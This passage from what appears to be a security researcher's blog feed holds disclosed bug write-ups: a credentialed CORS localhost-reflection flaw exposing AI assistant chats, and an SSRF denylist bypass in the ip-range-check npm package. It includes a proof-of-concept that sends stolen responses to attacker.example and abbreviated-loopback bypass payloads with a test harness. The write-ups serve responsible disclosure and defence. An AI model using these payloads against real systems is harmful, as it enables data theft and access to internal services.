&lt;li&gt;&lt;strong&gt;Settings:&lt;/strong&gt; validate incoming settings against a schema instead of storing the raw request body.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Defense in depth:&lt;/strong&gt; a Content Security Policy without &lt;code&gt;unsafe-inline&lt;/code&gt; would have blocked the inline &lt;code&gt;onload&lt;/code&gt; handler, and marking the flag cookie &lt;code&gt;httpOnly&lt;/code&gt; would have neutralized the whole cookie-theft class.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One habit that made this smooth: the entire chain was confirmed by reading the shipped source &lt;em&gt;before&lt;/em&gt; sending any requests — every link, right down to grepping &lt;code&gt;jquery-3.6.0.min.js&lt;/code&gt; for &lt;code&gt;scriptAttrs&lt;/code&gt; to be sure the script transport behaved as I expected. Understand the target first, and the exploit tends to work on the first try.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;p&gt;If any concept above was new, these are solid starting points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/web-cache-poisoning&quot;&gt;Web cache poisoning — PortSwigger Web Security Academy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/prototype-pollution&quot;&gt;Prototype pollution — PortSwigger Web Security Academy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object&quot;&gt;&lt;code&gt;Object.prototype&lt;/code&gt; and the prototype chain — MDN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting&quot;&gt;Cross-site scripting (XSS) — PortSwigger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name&quot;&gt;Forbidden header names (what JS can&apos;t set) — MDN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;Content Security Policy (CSP) — MDN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.jquery.com/jquery.ajax/&quot;&gt;jQuery &lt;code&gt;$.ajax()&lt;/code&gt; settings reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Credentialed CORS via localhost Reflection</title><link>https://www.onevilx.tech/posts/cors-credentialed-localhost-reflection/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/cors-credentialed-localhost-reflection/</guid><description>A private-program finding where an API reflected a localhost origin alongside Access-Control-Allow-Credentials, exposing private AI assistant conversations cross-origin — and why the attacker precondition, not the data sensitivity, decided the severity.</description><pubDate>Fri, 14 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Program:&lt;/strong&gt; Private bug bounty program (vendor undisclosed at their request)
&lt;strong&gt;Asset:&lt;/strong&gt; Backend API host for a B2B SaaS application
&lt;strong&gt;Class:&lt;/strong&gt; CWE-942 — Overly Permissive Cross-domain Policy
&lt;strong&gt;Reported severity:&lt;/strong&gt; High (CVSS 3.1 8.2) → &lt;strong&gt;Accepted as Low&lt;/strong&gt;
&lt;strong&gt;Status:&lt;/strong&gt; Reported → triaged → accepted
&lt;strong&gt;Note:&lt;/strong&gt; Every hostname, route, header and JSON key in this post has been generalised at the vendor&apos;s request. The behaviour described is real; the identifiers are not.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Why CORS is usually a waste of time&lt;/h2&gt;
&lt;p&gt;Most bug bounty programs put &quot;CORS misconfiguration&quot; straight on the out-of-scope list, and they&apos;re usually right to. The overwhelming majority of reports are &lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt; on an endpoint that returns a public list of countries. No credentials, no session, nothing to steal — a scanner finding dressed up as a vulnerability.&lt;/p&gt;
&lt;p&gt;This program was no different. Its exclusion list read:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CORS misconfiguration on endpoints that don&apos;t return sensitive data&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That qualifier is the entire opening. The program isn&apos;t saying &quot;we don&apos;t care about CORS&quot; — it&apos;s saying &quot;don&apos;t send us reflections on endpoints with nothing behind them.&quot; Which means the whole job is to find one where there &lt;em&gt;is&lt;/em&gt; something behind it, and to argue that point explicitly rather than leave it to the triager.&lt;/p&gt;
&lt;p&gt;So I skipped the marketing and docs hosts entirely and went looking for the one API that had a session behind it and something worth reading.&lt;/p&gt;
&lt;h2&gt;The target&lt;/h2&gt;
&lt;p&gt;The platform ships an in-app AI assistant — the kind that sits in a sidebar, has access to your workspace data, and holds an ongoing conversation. That immediately makes it interesting: conversation history is about as sensitive as application data gets. People paste internal metrics, customer names, and half-finished strategy into these things.&lt;/p&gt;
&lt;p&gt;The assistant is served by a separate API host from the main application, which is exactly the sort of split where CORS policy tends to get looser — a different service, a different team, a config written to &quot;just make the frontend work.&quot;&lt;/p&gt;
&lt;h2&gt;The reflection&lt;/h2&gt;
&lt;p&gt;The first thing worth checking on any credentialed API is whether the origin is reflected rather than allowlisted:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /[ai-assistant] HTTP/2
Host: api.[REDACTED]
Origin: http://localhost:3000
Cookie: session=&amp;lt;victim session JWT&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;HTTP/2 200
Access-Control-Allow-Origin: http://localhost:3000
Access-Control-Allow-Credentials: true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both halves matter, and neither is a finding on its own:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; echoing back the request&apos;s &lt;code&gt;Origin&lt;/code&gt; means there is no allowlist being enforced at all for that value.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; is what makes it readable. Without it, the browser will send the request but refuse to hand the response body to the calling page.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The spec deliberately forbids combining &lt;code&gt;*&lt;/code&gt; with credentials for exactly this reason. Reflecting a specific origin is the workaround developers reach for when they want the wildcard&apos;s convenience &lt;em&gt;and&lt;/em&gt; cookies — and it re-introduces precisely the risk the prohibition exists to prevent.&lt;/p&gt;
&lt;p&gt;The third ingredient was the session cookie itself: it was set &lt;code&gt;SameSite=None&lt;/code&gt;, so it rides along on any cross-origin &lt;code&gt;fetch(..., { credentials: &apos;include&apos; })&lt;/code&gt;. &lt;code&gt;SameSite=Lax&lt;/code&gt; would have blunted this considerably.&lt;/p&gt;
&lt;h2&gt;The header that nearly hid it&lt;/h2&gt;
&lt;p&gt;Here&apos;s the part that made this more than a five-minute find. My first requests didn&apos;t return data at all — just a &lt;code&gt;400&lt;/code&gt; and a short JSON error saying a required application identifier was missing.&lt;/p&gt;
&lt;p&gt;The endpoint required a custom header — call it &lt;code&gt;App-Id&lt;/code&gt; — and refused the request without it. On a first pass that reads like an access control: an application-scoped identifier that an attacker on some other origin wouldn&apos;t know.&lt;/p&gt;
&lt;p&gt;It isn&apos;t. The server only checked that the header was &lt;strong&gt;present&lt;/strong&gt;, never that the value was correct or that it belonged to the caller:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;App-Id: &amp;lt;the real application id&amp;gt;   -&amp;gt;  200, full data
App-Id: 0                           -&amp;gt;  200, full data
App-Id: 999999                      -&amp;gt;  200, full data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any value works. The tenant is derived entirely from the session cookie; the header is a required-but-unvalidated formality. So an attacker&apos;s page doesn&apos;t need to know anything about the victim&apos;s workspace — it can hardcode &lt;code&gt;0&lt;/code&gt; and the server will happily scope the response to whoever the cookie belongs to.&lt;/p&gt;
&lt;p&gt;This is worth dwelling on, because &quot;there&apos;s a custom header on it&quot; is a common reason to abandon a CORS finding. A header requirement is only a control if the value is validated. Testing that assumption takes one request, and here it was the difference between &quot;not exploitable&quot; and &quot;reads the victim&apos;s entire conversation history.&quot;&lt;/p&gt;
&lt;p&gt;The same pattern held on the integrations endpoint, which returned third-party connection status for the account.&lt;/p&gt;
&lt;h2&gt;What was reachable&lt;/h2&gt;
&lt;p&gt;With those three properties combined, a page on a &lt;code&gt;localhost&lt;/code&gt; origin could issue credentialed cross-origin reads and receive:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the victim&apos;s full private AI assistant conversation history&lt;/li&gt;
&lt;li&gt;connection status for the account&apos;s third-party integrations&lt;/li&gt;
&lt;li&gt;internal tenant and user identifiers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The proof of concept is unremarkable, which is rather the point:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fetch(&apos;https://api.[REDACTED]/[ai-assistant]&apos;, {
  credentials: &apos;include&apos;,
  headers: { &apos;App-Id&apos;: &apos;0&apos; }        // value never validated
})
  .then(r =&amp;gt; r.json())
  .then(d =&amp;gt; fetch(&apos;https://attacker.example/collect&apos;, {
    method: &apos;POST&apos;,
    body: JSON.stringify(d)
  }));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No exotic technique. The vulnerability is entirely in the response headers.&lt;/p&gt;
&lt;h2&gt;The severity, and why I got it wrong&lt;/h2&gt;
&lt;p&gt;I submitted this as &lt;strong&gt;High, CVSS 8.2&lt;/strong&gt;. It was accepted as &lt;strong&gt;Low&lt;/strong&gt;, and the reasoning was that exploitation requires the attacker to already have code running on the victim&apos;s machine — malware, or a malicious browser extension.&lt;/p&gt;
&lt;p&gt;That&apos;s correct, and it&apos;s the most useful thing I took away from the report.&lt;/p&gt;
&lt;p&gt;The reflected origin was &lt;code&gt;localhost&lt;/code&gt;. Not &lt;code&gt;attacker.com&lt;/code&gt;, not a wildcard, not a subdomain I could register — a loopback origin. To serve a page from a &lt;code&gt;localhost&lt;/code&gt; origin in the victim&apos;s browser, an attacker must already be running something on the victim&apos;s machine: a local development server, a malicious extension, or malware. And an attacker with any of those has considerably better options available than reading conversation history through a CORS hole.&lt;/p&gt;
&lt;p&gt;I had priced the finding on the sensitivity of the data. Private AI conversations feel like a High. But &lt;strong&gt;severity is dominated by the attacker&apos;s preconditions, not by how interesting the data is.&lt;/strong&gt; A total leak of extremely sensitive data, gated behind &quot;attacker already has code execution on the victim&apos;s machine,&quot; is a Low. That relationship doesn&apos;t bend no matter how good the impact paragraph reads.&lt;/p&gt;
&lt;p&gt;I&apos;ve since made a habit of pricing the precondition &lt;em&gt;before&lt;/em&gt; writing the impact section. It changes what&apos;s worth submitting, and it stops reports reading as though they&apos;re arguing with the triager.&lt;/p&gt;
&lt;h2&gt;Why it wasn&apos;t auto-closed&lt;/h2&gt;
&lt;p&gt;Given the program excluded &quot;CORS misconfiguration on non-sensitive endpoints,&quot; this could easily have been closed on the exclusion alone.&lt;/p&gt;
&lt;p&gt;What I think kept it in scope was making the sensitivity argument explicitly and up front rather than assuming it was self-evident: naming what the endpoint returns, showing the data in the response, and stating plainly why this endpoint is not in the category the exclusion is aimed at. Triagers work through a queue; if a report requires them to reconstruct why an exclusion doesn&apos;t apply, the exclusion wins.&lt;/p&gt;
&lt;p&gt;If your finding lands near an out-of-scope boundary, the report has to do that work. That&apos;s not padding — it&apos;s the actual argument.&lt;/p&gt;
&lt;h2&gt;The fix&lt;/h2&gt;
&lt;p&gt;The correct shape here is straightforward, and worth stating because the wrong fixes are tempting:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Replace reflection with a strict allowlist.&lt;/strong&gt; The set of origins that legitimately need credentialed access to a first-party API is small, known, and rarely changes. Never echo &lt;code&gt;Origin&lt;/code&gt; back when &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; is set.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Don&apos;t ship development origins to production.&lt;/strong&gt; &lt;code&gt;localhost&lt;/code&gt; in an allowlist is a local-config concern; it should not survive into a production response. This is almost always how these get introduced — a developer adds it to unblock local work and it ships.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tighten the session cookie.&lt;/strong&gt; &lt;code&gt;SameSite=Lax&lt;/code&gt; removes the credential half of the attack for top-level cross-site requests.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Make the header a real control or stop pretending it is one.&lt;/strong&gt; If &lt;code&gt;App-Id&lt;/code&gt; is meant to scope access, validate that the value belongs to the authenticated session. If it&apos;s routing metadata, that&apos;s fine — but then don&apos;t treat its presence as a security boundary.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Of these, (1) and (2) are the load-bearing ones — the rest are defence in depth.&lt;/p&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Read the exclusion, not just the heading.&lt;/strong&gt; &quot;CORS on non-sensitive endpoints&quot; is an invitation to find a sensitive one, not a blanket ban. The qualifier is where the scope actually lives.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A required header is not an access control until you&apos;ve tested the value.&lt;/strong&gt; One request tells you whether the server validates it or merely counts it. Here it was the difference between no finding and a full read.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Price the precondition before you write the impact.&lt;/strong&gt; &lt;code&gt;localhost&lt;/code&gt; reflection caps severity at Low no matter what&apos;s behind it, because the attacker needs code on the victim&apos;s machine first. Sensitivity does not lift that ceiling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Two response headers are the whole vulnerability.&lt;/strong&gt; &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; reflecting input and &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; are individually unremarkable and jointly a data leak. Check them together, and check them on the API host, not the marketing site.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure&lt;/h2&gt;
&lt;p&gt;This write-up is published with the vendor&apos;s approval, fully anonymised at their request.&lt;/p&gt;
&lt;p&gt;The vendor has confirmed that &lt;strong&gt;no exploitation of this issue occurred prior to my report&lt;/strong&gt;, and that &lt;strong&gt;the issue was fully remediated before this write-up was published&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://fetch.spec.whatwg.org/#http-cors-protocol&quot;&gt;WHATWG Fetch — CORS protocol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials&quot;&gt;MDN — &lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/942.html&quot;&gt;CWE-942 — Permissive Cross-domain Policy with Untrusted Domains&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/cors&quot;&gt;PortSwigger — Exploiting CORS misconfigurations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Reported by Youssef Aboukir (onevilx). Thanks to the vendor&apos;s security team for the quick triage and for permitting this write-up.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>SSRF Denylist Bypass in ip-range-check</title><link>https://www.onevilx.tech/posts/ip-range-check-ssrf-bypass/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/ip-range-check-ssrf-bypass/</guid><description>The full journey from hunting SSRF guards to finding a validator-vs-connector disagreement in ip-range-check — how abbreviated IPv4 notation bypasses denylist checks affecting ~390k weekly downloads.</description><pubDate>Wed, 05 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Advisory:&lt;/strong&gt; &lt;a href=&quot;https://github.com/danielcompton/ip-range-check/security/advisories/GHSA-87xc-4hwr-pxf6&quot;&gt;GHSA-87xc-4hwr-pxf6&lt;/a&gt; — &lt;strong&gt;Published&lt;/strong&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; Requested by the maintainer, pending assignment
&lt;strong&gt;Package:&lt;/strong&gt; &lt;a href=&quot;https://www.npmjs.com/package/ip-range-check&quot;&gt;&lt;code&gt;ip-range-check&lt;/code&gt;&lt;/a&gt; (npm, ~390k downloads/week)
&lt;strong&gt;Fixed in:&lt;/strong&gt; &lt;a href=&quot;https://github.com/danielcompton/ip-range-check/releases&quot;&gt;&lt;code&gt;v0.2.1&lt;/code&gt;&lt;/a&gt;
&lt;strong&gt;Class:&lt;/strong&gt; CWE-918 — Server-Side Request Forgery (validator/connector disagreement)
&lt;strong&gt;Severity:&lt;/strong&gt; Moderate
&lt;strong&gt;Affected Versions:&lt;/strong&gt; &lt;code&gt;&amp;lt;= 0.2.0&lt;/code&gt;
&lt;strong&gt;Status:&lt;/strong&gt; Reported → independently re-verified → patched → published.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;How I Got Here&lt;/h2&gt;
&lt;p&gt;This finding came out of a broader hunt for SSRF-guard bypasses, prompted by a simple observation: the &lt;code&gt;ip&lt;/code&gt; npm package — one of the most widely used IP-utility libraries in the ecosystem — had already taken two separate CVEs (CVE-2023-42282, CVE-2024-29415) for the exact same shape of bug: an &quot;is this a private IP&quot; check that alternate representations of an address could slip past. If that bug class was real and had happened &lt;em&gt;twice&lt;/em&gt; in the most popular library of its kind, the obvious next question was: which other, less-audited libraries doing the same job have the same gap and just haven&apos;t been looked at yet?&lt;/p&gt;
&lt;p&gt;That&apos;s a search problem, not a guess. I started pulling in every mid-tier IP-range/SSRF-guard package I could find and testing them against the same style of payload.&lt;/p&gt;
&lt;h2&gt;The Sweep — What I Ruled Out First&lt;/h2&gt;
&lt;p&gt;Before landing on &lt;code&gt;ip-range-check&lt;/code&gt;, I worked through several other candidates, and it&apos;s worth being honest about the ones that turned out to be dead ends, because ruling them out correctly is what made the eventual finding credible rather than a lucky first guess:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;request-filtering-agent&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;ssrf-req-filter&lt;/code&gt;&lt;/strong&gt; (both high-download, well-designed) — these resist the entire class of bypass I was testing, because they don&apos;t validate the string the caller supplies. They &lt;strong&gt;resolve the hostname first&lt;/strong&gt; (via &lt;code&gt;dns.lookup&lt;/code&gt;) and then check the &lt;em&gt;resolved&lt;/em&gt; address. Feeding them &lt;code&gt;2130706433&lt;/code&gt; or &lt;code&gt;127.1&lt;/code&gt; doesn&apos;t help an attacker, because by the time the check runs, the library is looking at the canonical &lt;code&gt;127.0.0.1&lt;/code&gt; either way. Good design, nothing to find there.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;is-private-ip&lt;/code&gt;&lt;/strong&gt; — this one &lt;em&gt;did&lt;/em&gt; have a real, connect-verified bypass (several abbreviated forms slipped past its &lt;code&gt;isNonPublicIp&lt;/code&gt; check). But it had roughly 28 downloads a week. A real bug in a library nobody uses isn&apos;t a useful CVE for anyone, so I didn&apos;t pursue it further.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ip&lt;/code&gt;, &lt;code&gt;private-ip&lt;/code&gt;, &lt;code&gt;netmask&lt;/code&gt;&lt;/strong&gt; — already carried the CVEs that started this whole search. Nothing new to report.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That left a gap: I wanted a library that was (a) popular enough to matter, (b) not already carrying an advisory, and (c) actually validating the raw string rather than resolving first.&lt;/p&gt;
&lt;h2&gt;Landing on &lt;code&gt;ip-range-check&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;ip-range-check&lt;/code&gt; fit all three: ~390,000 downloads/week, last published in 2022 with no existing security advisory, and — the detail that mattered — it doesn&apos;t resolve anything. It takes the caller&apos;s string directly and parses it itself, by delegating to &lt;code&gt;ipaddr.js&lt;/code&gt;. Critically, it bundles its &lt;strong&gt;own&lt;/strong&gt; copy of that dependency rather than relying on whatever version the host project has installed, which meant the parsing behavior wasn&apos;t necessarily current.&lt;/p&gt;
&lt;h2&gt;Reading the Source&lt;/h2&gt;
&lt;p&gt;The actual check is small:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function check_single_cidr(addr, cidr) {
    try {
        var parsed_addr = ipaddr.process(addr)
        // ... match parsed_addr against the CIDR ...
    }
    catch (e) {
        return false   // &quot;not in range&quot; == allowed, for a denylist
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;catch&lt;/code&gt; block is the whole bug, once you see it in context. &lt;code&gt;ipRangeCheck(host, denylist)&lt;/code&gt; is meant to be used like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (ipRangeCheck(host, PRIVATE_RANGES)) throw new Error(&apos;blocked&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;false&lt;/code&gt; means &quot;not in a private range&quot; — which, for a &lt;em&gt;denylist&lt;/em&gt;, means &quot;allowed through.&quot; So any input the parser can&apos;t handle is treated the same as an input that&apos;s definitely public. That&apos;s backwards for a security check: an unparseable input should be the &lt;em&gt;more&lt;/em&gt; suspicious case, not the safer one.&lt;/p&gt;
&lt;h2&gt;Building a Test Corpus, Not Just a Guess&lt;/h2&gt;
&lt;p&gt;Rather than hand-pick one weird string and hope, I built a small corpus of the classic IPv4 alternate-representation tricks and ran all of them through the library, with a canonical control (&lt;code&gt;127.0.0.1&lt;/code&gt;, which must always be blocked) as a sanity check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full decimal integer: &lt;code&gt;2130706433&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Full hex integer: &lt;code&gt;0x7f000001&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Full octal integer: &lt;code&gt;017700000001&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Abbreviated dotted forms: &lt;code&gt;127.1&lt;/code&gt;, &lt;code&gt;127.0.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Mixed-radix forms: &lt;code&gt;0177.1&lt;/code&gt;, &lt;code&gt;127.0x1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The result was a genuine mix, which is what made it interesting rather than a blanket failure: the full decimal/hex/octal integer forms were &lt;strong&gt;correctly blocked&lt;/strong&gt;. Only the abbreviated and mixed-radix forms slipped through:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.1      -&amp;gt; ALLOWED (bypass)
127.0.1    -&amp;gt; ALLOWED (bypass)
0177.1     -&amp;gt; ALLOWED (bypass)
127.0x1    -&amp;gt; ALLOWED (bypass)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That split told me this wasn&apos;t a wholesale &quot;the library doesn&apos;t work&quot; situation — it was a specific parsing gap in the bundled &lt;code&gt;ipaddr.js&lt;/code&gt;, which meant I needed to go verify what these strings actually &lt;em&gt;do&lt;/em&gt; at the network layer, not just what the library thought of them.&lt;/p&gt;
&lt;h2&gt;Confirming These Are Real, Routable Addresses&lt;/h2&gt;
&lt;p&gt;A string a validator rejects is only interesting if something downstream still accepts it. I checked each bypassing form against Node&apos;s own resolver (&lt;code&gt;dns.lookup&lt;/code&gt;) to confirm they weren&apos;t just malformed noise:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.1      -&amp;gt; 127.0.0.1
127.0.1    -&amp;gt; 127.0.0.1
0177.1     -&amp;gt; 127.0.0.1
127.0x1    -&amp;gt; 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All four resolve to loopback via the OS&apos;s own &lt;code&gt;inet_aton&lt;/code&gt;-style parsing rules — the same rules &lt;code&gt;http.get()&lt;/code&gt; and friends rely on. So the validator and the connector genuinely disagreed: the library said &quot;can&apos;t parse this, must not be private,&quot; while the network stack said &quot;this is definitely 127.0.0.1.&quot;&lt;/p&gt;
&lt;h2&gt;Making It Undeniable: A Connect-Verified PoC&lt;/h2&gt;
&lt;p&gt;A mismatch between a parser and a resolver is suggestive, but the thing that actually proves SSRF is a real socket connection reaching somewhere it shouldn&apos;t. I built a small harness that binds a real HTTP server to loopback, builds the exact kind of denylist guard a real application would write, and then drives real &lt;code&gt;http.get()&lt;/code&gt; calls through the bypassing hosts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const internal = http.createServer((_req, res) =&amp;gt; res.end(&apos;INTERNAL-SECRET-DATA&apos;))
await new Promise((r) =&amp;gt; internal.listen(0, &apos;127.0.0.1&apos;, r))

const guardAllows = (host) =&amp;gt; !ipRangeCheck(host, PRIVATE_RANGES)

for (const host of [&apos;127.1&apos;, &apos;127.0.1&apos;, &apos;0177.1&apos;, &apos;127.0x1&apos;]) {
  if (!guardAllows(host)) continue   // would print &quot;guard=BLOCKED&quot;
  const body = await fetchVia(host, port)
  // body === &quot;INTERNAL-SECRET-DATA&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Control - guard on canonical 127.0.0.1: allows=false (correctly blocked)
127.1      guard=ALLOWED  -&amp;gt;  fetch returned &quot;INTERNAL-SECRET-DATA&quot;   &amp;lt;== SSRF: reached internal service
127.0.1    guard=ALLOWED  -&amp;gt;  fetch returned &quot;INTERNAL-SECRET-DATA&quot;   &amp;lt;== SSRF: reached internal service
0177.1     guard=ALLOWED  -&amp;gt;  fetch returned &quot;INTERNAL-SECRET-DATA&quot;   &amp;lt;== SSRF: reached internal service
127.0x1    guard=ALLOWED  -&amp;gt;  fetch returned &quot;INTERNAL-SECRET-DATA&quot;   &amp;lt;== SSRF: reached internal service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The control (&lt;code&gt;127.0.0.1&lt;/code&gt;) is correctly blocked in the same run, which matters — it proves the harness itself works and the bypass isn&apos;t an artifact of a broken test.&lt;/p&gt;
&lt;h2&gt;Being Honest About the Limits of the Bug&lt;/h2&gt;
&lt;p&gt;Before writing anything up, I checked how this behaves against the modern URL parser, because it directly determines how exploitable this actually is in a real application. The WHATWG &lt;code&gt;new URL()&lt;/code&gt; parser &lt;strong&gt;canonicalizes&lt;/strong&gt; &lt;code&gt;127.1&lt;/code&gt; to &lt;code&gt;127.0.0.1&lt;/code&gt; before an application would ever hand it to the guard — at which point the guard correctly blocks it. The bug only matters when the &lt;strong&gt;raw&lt;/strong&gt; host string reaches both the guard and the connector unmodified: a raw user-supplied &quot;host&quot; field, or the legacy &lt;code&gt;url.parse().hostname&lt;/code&gt;, which preserves &lt;code&gt;127.1&lt;/code&gt; verbatim.&lt;/p&gt;
&lt;p&gt;I put that limitation directly in the report rather than let it surface later. Understating a finding&apos;s practical reach costs nothing and buys credibility; overclaiming costs credibility the first time someone checks it themselves.&lt;/p&gt;
&lt;h2&gt;Precedent, One More Time&lt;/h2&gt;
&lt;p&gt;The last thing I did before writing the report was confirm this was the same bug &lt;em&gt;class&lt;/em&gt;, not just a similar-looking one, as the two prior &lt;code&gt;ip&lt;/code&gt; package CVEs (CVE-2023-42282, CVE-2024-29415) — both were about alternate IPv4 representations being misclassified as public. That precedent is what turns &quot;I found a parsing quirk&quot; into &quot;this is a recognized, previously-paid vulnerability class that happens to have a fresh, unaudited instance here.&quot;&lt;/p&gt;
&lt;h2&gt;Writing and Sending the Report&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;ip-range-check&lt;/code&gt; had no &lt;code&gt;SECURITY.md&lt;/code&gt; and no private vulnerability reporting enabled on GitHub, so I emailed the maintainer directly, with the full technical writeup — root cause, the four bypasses, the &lt;code&gt;dns.lookup&lt;/code&gt; confirmation, the honest scope caveat about &lt;code&gt;new URL()&lt;/code&gt;, the &lt;code&gt;ip&lt;/code&gt;-package precedent, and the complete PoC script pasted inline (since I wasn&apos;t able to attach the &lt;code&gt;.mjs&lt;/code&gt; file directly).&lt;/p&gt;
&lt;h2&gt;The Response&lt;/h2&gt;
&lt;p&gt;Daniel Compton didn&apos;t just take the report at face value — he &lt;strong&gt;independently re-verified every one of the four bypasses against Node&apos;s own &lt;code&gt;dns.lookup()&lt;/code&gt;&lt;/strong&gt; himself before doing anything else, confirming the resolution mismatch was real rather than trusting my numbers. Only then did he move to the fix.&lt;/p&gt;
&lt;h2&gt;The Fix&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;ip-range-check@0.2.1&lt;/code&gt; upgrades the bundled &lt;code&gt;ipaddr.js&lt;/code&gt; from &lt;code&gt;1.9.1&lt;/code&gt; to &lt;code&gt;2.5.0&lt;/code&gt;, which parses these abbreviated and mixed-radix forms using the same &lt;code&gt;inet_aton&lt;/code&gt;-style rules the OS resolver applies — closing the exact gap between validator and connector that caused the bypass. He also added a dedicated regression test suite covering this input class, and re-ran my original PoC against the patched version to confirm all four forms are now correctly blocked before publishing.&lt;/p&gt;
&lt;h2&gt;Disclosure Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reported&lt;/strong&gt; privately by email (no &lt;code&gt;SECURITY.md&lt;/code&gt; / private reporting available on the repo).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maintainer replied&lt;/strong&gt;, independently reproduced all four bypasses against &lt;code&gt;dns.lookup()&lt;/code&gt;, confirmed the root cause in &lt;code&gt;check_single_cidr()&lt;/code&gt;.&lt;/li&gt;
